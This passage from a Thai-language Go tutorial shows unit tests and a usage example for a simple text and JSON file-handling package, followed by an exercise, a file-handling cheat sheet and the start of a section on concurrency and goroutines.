&#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; struct Person</li><li>&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE44;&#xE1B;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;</li><li>&#xE43;&#xE0A;&#xE49; t.Fatalf &#xE41;&#xE25;&#xE30; t.Errorf &#xE40;&#xE0A;&#xE48;&#xE19;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A; TestReadWriteTextFile</li><li>&#xE25;&#xE1A;&#xE44;&#xE1F;&#xE25;&#xE4C; Test &#xE17;&#xE34;&#xE49;&#xE07;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Test &#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE41;&#xE25;&#xE49;&#xE27;</li></ol><p>Function &quot;<strong>TestReadNonExistentFile</strong>&quot; &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><p>&#xE1E;&#xE22;&#xE32;&#xE22;&#xE32;&#xE21;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE2D;&#xE22;&#xE39;&#xE48; &#xE41;&#xE25;&#xE49;&#xE27;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE40;&#xE01;&#xE34;&#xE14; Error &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48; (&#xE0B;&#xE36;&#xE48;&#xE07;&#xE04;&#xE27;&#xE23;&#xE40;&#xE01;&#xE34;&#xE14; Error) &#xE16;&#xE49;&#xE32;&#xE44;&#xE21;&#xE48;&#xE40;&#xE01;&#xE34;&#xE14; Error &#xE08;&#xE30;&#xE23;&#xE32;&#xE22;&#xE07;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;</p><pre><code>// file_ops_test.go
package fileops

import (
    &quot;os&quot;
    &quot;testing&quot;
)

func TestReadWriteTextFile(t *testing.T) {
    filename := &quot;test.txt&quot;
    content := &quot;Hello, World!&quot;

    // Test writing
    err := WriteTextFile(filename, content)
    if err != nil {
        t.Fatalf(&quot;Failed to write file: %v&quot;, err)
    }

    // Test reading
    readContent, err := ReadTextFile(filename)
    if err != nil {
        t.Fatalf(&quot;Failed to read file: %v&quot;, err)
    }

    if readContent != content {
        t.Errorf(&quot;Read content does not match written content. Got %s, want %s&quot;, readContent, content)
    }

    // Clean up
    defer os.Remove(filename)
}

func TestReadWriteJSONFile(t *testing.T) {
    filename := &quot;test.json&quot;
    person := Person{Name: &quot;John&quot;, Age: 30}

    // Test writing
    err := WriteJSONFile(filename, person)
    if err != nil {
        t.Fatalf(&quot;Failed to write JSON file: %v&quot;, err)
    }

    // Test reading
    readPerson, err := ReadJSONFile(filename)
    if err != nil {
        t.Fatalf(&quot;Failed to read JSON file: %v&quot;, err)
    }

    if readPerson.Name != person.Name || readPerson.Age != person.Age {
        t.Errorf(&quot;Read person does not match written person. Got %+v, want %+v&quot;, readPerson, person)
    }

    // Clean up
    defer os.Remove(filename)
}

func TestReadNonExistentFile(t *testing.T) {
    _, err := ReadTextFile(&quot;non_existent.txt&quot;)
    if err == nil {
        t.Error(&quot;Expected an error when reading non-existent file, got nil&quot;)
    }
}</code></pre><p>&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Unit Test &#xE43;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; file_ops_test.go &#xE19;&#xE35;&#xE49;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; Test Case &#xE17;&#xE31;&#xE49;&#xE07;&#xE41;&#xE1A;&#xE1A; <strong>Positive Test</strong> (Happy Path) &#xE17;&#xE35;&#xE48;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE04;&#xE27;&#xE23;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32; &#xE41;&#xE25;&#xE30;&#xE41;&#xE1A;&#xE1A; <strong>Negative Test</strong> (Error Case) &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE2D;&#xE22;&#xE39;&#xE48; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE04;&#xE27;&#xE23;&#xE40;&#xE01;&#xE34;&#xE14; Error &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE48;&#xE19;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE1B;&#xE01;&#xE15;&#xE34;&#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p>&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xE41;&#xE25;&#xE30; Folder &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>myproject/
&#x251C;&#x2500;&#x2500; cmd
&#x2514;&#x2500;&#x2500; internal
    &#x2514;&#x2500;&#x2500; fileops
        &#x251C;&#x2500;&#x2500; file_ops.go
        &#x2514;&#x2500;&#x2500; file_ops_test.go</code></pre><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C;&#x200B; go.mod &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go mod init myproject</p><pre><code>go mod init myproject</code></pre><p>&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go test ./...</p><pre><code>go test ./...</code></pre><p>&#xE14;&#xE39; % &#xE02;&#xE2D;&#xE07; Coverage &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go test -cover</p><pre><code>go test -cover ./...</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-06-at-11.36.19-AM.png" class="kg-image" alt loading="lazy" width="2000" height="1177" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-06-at-11.36.19-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-06-at-11.36.19-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-06-at-11.36.19-AM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2024-08-06-at-11.36.19-AM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE23;&#xE31;&#xE19; Unit Test &#xE41;&#xE25;&#xE49;&#xE27; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Package &quot;fileops&quot; &#xE43;&#xE19; main.go &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>package main

import (
	&quot;fmt&quot;
	&quot;log&quot;

	&quot;myproject/internal/fileops&quot;
)

func main() {
	// 1. &#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE41;&#xE25;&#xE30;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;
	textFilename := &quot;note.txt&quot;
	noteContent := &quot;&#xE2A;&#xE27;&#xE31;&#xE2A;&#xE14;&#xE35; &#xE19;&#xE35;&#xE48;&#xE04;&#xE37;&#xE2D;&#xE1A;&#xE31;&#xE19;&#xE17;&#xE36;&#xE01;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE15;&#xE31;&#xE27;&quot;

	err := fileops.WriteTextFile(textFilename, noteContent)
	if err != nil {
		log.Fatalf(&quot;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;: %v&quot;, err)
	}
	fmt.Println(&quot;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE23;&#xE49;&#xE2D;&#xE22;&#xE41;&#xE25;&#xE49;&#xE27;&quot;)

	readContent, err := fileops.ReadTextFile(textFilename)
	if err != nil {
		log.Fatalf(&quot;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;: %v&quot;, err)
	}
	fmt.Printf(&quot;&#xE40;&#xE19;&#xE37;&#xE49;&#xE2D;&#xE2B;&#xE32;&#xE43;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;: %s\n\n&quot;, readContent)

	// 2. &#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE41;&#xE25;&#xE30;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; JSON
	jsonFilename := &quot;user.json&quot;
	user := fileops.Person{Name: &quot;&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34;&quot;, Age: 25}

	err = fileops.WriteJSONFile(jsonFilename, user)
	if err != nil {
		log.Fatalf(&quot;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; JSON: %v&quot;, err)
	}
	fmt.Println(&quot;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; JSON &#xE40;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE23;&#xE49;&#xE2D;&#xE22;&#xE41;&#xE25;&#xE49;&#xE27;&quot;)

	readUser, err := fileops.ReadJSONFile(jsonFilename)
	if err != nil {
		log.Fatalf(&quot;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; JSON: %v&quot;, err)
	}
	fmt.Printf(&quot;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE08;&#xE32;&#xE01;&#xE44;&#xE1F;&#xE25;&#xE4C; JSON: &#xE0A;&#xE37;&#xE48;&#xE2D;: %s, &#xE2D;&#xE32;&#xE22;&#xE38;: %d\n&quot;, readUser.Name, readUser.Age)
}
</code></pre><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; &#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49; Function &quot;<strong>Fatalf()</strong>&quot; &#xE08;&#xE32;&#xE01; Package &quot;<strong>log</strong>&quot; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE41;&#xE25;&#xE30;&#xE08;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; Program &#xE17;&#xE31;&#xE19;&#xE17;&#xE35; &#xE42;&#xE14;&#xE22; <strong>log.Fatalf() &#xE08;&#xE30;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE27;&#xE25;&#xE32;&#xE41;&#xE25;&#xE30;&#xE27;&#xE31;&#xE19;&#xE17;&#xE35;&#xE48;&#xE44;&#xE27;&#xE49;&#xE14;&#xE49;&#xE32;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34; </strong>&#xE40;&#xE0A;&#xE48;&#xE19;</p><pre><code>2023/08/06 15:04:05 &#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;: open note.txt: no such file or directory</code></pre><p>Compile Code &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go build &#xE41;&#xE25;&#xE30;&#xE23;&#xE31;&#xE19; Program</p><pre><code>go build cmd/main.go

./main </code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-06-at-2.39.14-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1177" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-06-at-2.39.14-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-06-at-2.39.14-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-06-at-2.39.14-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2024-08-06-at-2.39.14-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Text File &#xE41;&#xE25;&#xE30; JSON File &#xE08;&#xE30;&#xE21;&#xE35;&#xE40;&#xE19;&#xE37;&#xE49;&#xE2D;&#xE2B;&#xE32;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;&#xE04;&#xE23;&#xE31;&#xE1A;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-06-at-2.41.12-PM.png" class="kg-image" alt loading="lazy" width="1204" height="344" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-06-at-2.41.12-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-06-at-2.41.12-PM.png 1000w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-06-at-2.41.12-PM.png 1204w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-06-at-2.41.21-PM.png" class="kg-image" alt loading="lazy" width="1144" height="320" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-06-at-2.41.21-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-06-at-2.41.21-PM.png 1000w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-06-at-2.41.21-PM.png 1144w" sizes="(min-width: 720px) 720px"></figure><h3 id="exercise"><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>Exercise</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></h3><p>&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Program &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49; Package &quot;fileops&quot; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE1A;&#xE31;&#xE19;&#xE17;&#xE36;&#xE01;&#xE41;&#xE25;&#xE30;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE19;&#xE31;&#xE01;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19; Struct &#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><pre><code>type Student struct {
    Name string `json:&quot;name&quot;`
    Age int `json:&quot;age&quot;`
    Grade string `json:&quot;grade&quot;`
}</code></pre><p>&#xE42;&#xE14;&#xE22;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE19;&#xE31;&#xE01;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE49;&#xE2D;&#xE22; 3 &#xE04;&#xE19; &#xE43;&#xE19; main() &#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE19;&#xE31;&#xE01;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE25;&#xE07;&#xE43;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; &quot;students.json&quot; &#xE2D;&#xE48;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE25;&#xE49;&#xE27;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE19;&#xE31;&#xE01;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE17;&#xE32;&#xE07;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE08;&#xE2D;</p><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><a href="https://forms.gle/mVMkZcU7SRZjrWNk9?ref=blog.pjjop.org"><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>Go Quiz </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>1</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>1</a><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em> (</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>20<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em> &#xE02;&#xE49;&#xE2D;) </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Quiz &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>Q&amp;A?</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><h3 id="%E0%B8%A3%E0%B8%A7%E0%B8%A1-cheat-sheet-%E0%B8%97%E0%B8%B3%E0%B8%87%E0%B8%B2%E0%B8%99%E0%B8%81%E0%B8%B1%E0%B8%9A-file-%E0%B9%81%E0%B8%A5%E0%B8%B0%E0%B8%82%E0%B9%89%E0%B8%AD%E0%B8%A1%E0%B8%B9%E0%B8%A5"><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE23;&#xE27;&#xE21; Cheat She</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>et</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; File &#xE41;&#xE25;&#xE30;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;</em></h3><pre><code>&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; File &#xE41;&#xE25;&#xE30;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
--------------------

1. &#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;
   content, err := os.ReadFile(filename)

2. &#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;
   err := os.WriteFile(filename, []byte(content), os.FileMode(0644))

3. &#xE41;&#xE1B;&#xE25;&#xE07; struct &#xE40;&#xE1B;&#xE47;&#xE19; JSON
   data, err := json.Marshal(structVar)

4. &#xE41;&#xE1B;&#xE25;&#xE07; JSON &#xE40;&#xE1B;&#xE47;&#xE19; struct
   err := json.Unmarshal([]byte(jsonStr), &amp;structVar)</code></pre><h2 id="%E0%B8%97%E0%B8%B3%E0%B8%87%E0%B8%B2%E0%B8%99%E0%B8%9E%E0%B8%A3%E0%B9%89%E0%B8%AD%E0%B8%A1%E0%B8%81%E0%B8%B1%E0%B8%99%E0%B8%AB%E0%B8%A5%E0%B8%B2%E0%B8%A2%E0%B8%AD%E0%B8%A2%E0%B9%88%E0%B8%B2%E0%B8%87"><strong><strong>&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;</strong></strong></h2><p>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; (Concurrency) &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE43;&#xE19;&#xE08;&#xE38;&#xE14;&#xE40;&#xE14;&#xE48;&#xE19;&#xE02;&#xE2D;&#xE07; Go &#xE17;&#xE31;&#xE49;&#xE07;&#xE43;&#xE19;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21;&#xE07;&#xE48;&#xE32;&#xE22;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Code &#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/6fb7f481-5547-4ce0-aeee-d685789187b2_1280x1664.webp" class="kg-image" alt loading="lazy" width="1280" height="1664" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/6fb7f481-5547-4ce0-aeee-d685789187b2_1280x1664.webp 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/6fb7f481-5547-4ce0-aeee-d685789187b2_1280x1664.webp 1000w, https://blog.pjjop.org/content/images/2024/08/6fb7f481-5547-4ce0-aeee-d685789187b2_1280x1664.webp 1280w" sizes="(min-width: 720px) 720px"></figure><p><strong>Concurrency</strong> &#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE07;&#xE32;&#xE19;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE07;&#xE32;&#xE19;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE44;&#xE1B;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49; (&#xE42;&#xE14;&#xE22;&#xE2D;&#xE32;&#xE08;&#xE2A;&#xE25;&#xE31;&#xE1A;&#xE01;&#xE31;&#xE19;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1A;&#xE19; Core &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;)</p><p><strong>Parallelism</strong> &#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE07;&#xE32;&#xE19;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE07;&#xE32;&#xE19;&#xE23;&#xE31;&#xE19;&#xE44;&#xE1B;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21; &#xE46; &#xE01;&#xE31;&#xE19;&#xE1A;&#xE19; CPU &#xE2B;&#xE25;&#xE32;&#xE22; Core &#xE08;&#xE23;&#xE34;&#xE07; &#xE46;</p><p>Goroutine &#xE40;&#xE1B;&#xE47;&#xE19; &quot;<strong>Lightweight Thread</strong>&quot; &#xE17;&#xE35;&#xE48;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE42;&#xE14;&#xE22; Go Runtime &#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48; Thread &#xE43;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE2D;&#xE37;&#xE48;&#xE19;&#xE1A;&#xE32;&#xE07;&#xE20;&#xE32;&#xE29;&#xE32; &#xE40;&#xE0A;&#xE48;&#xE19; C++, Python 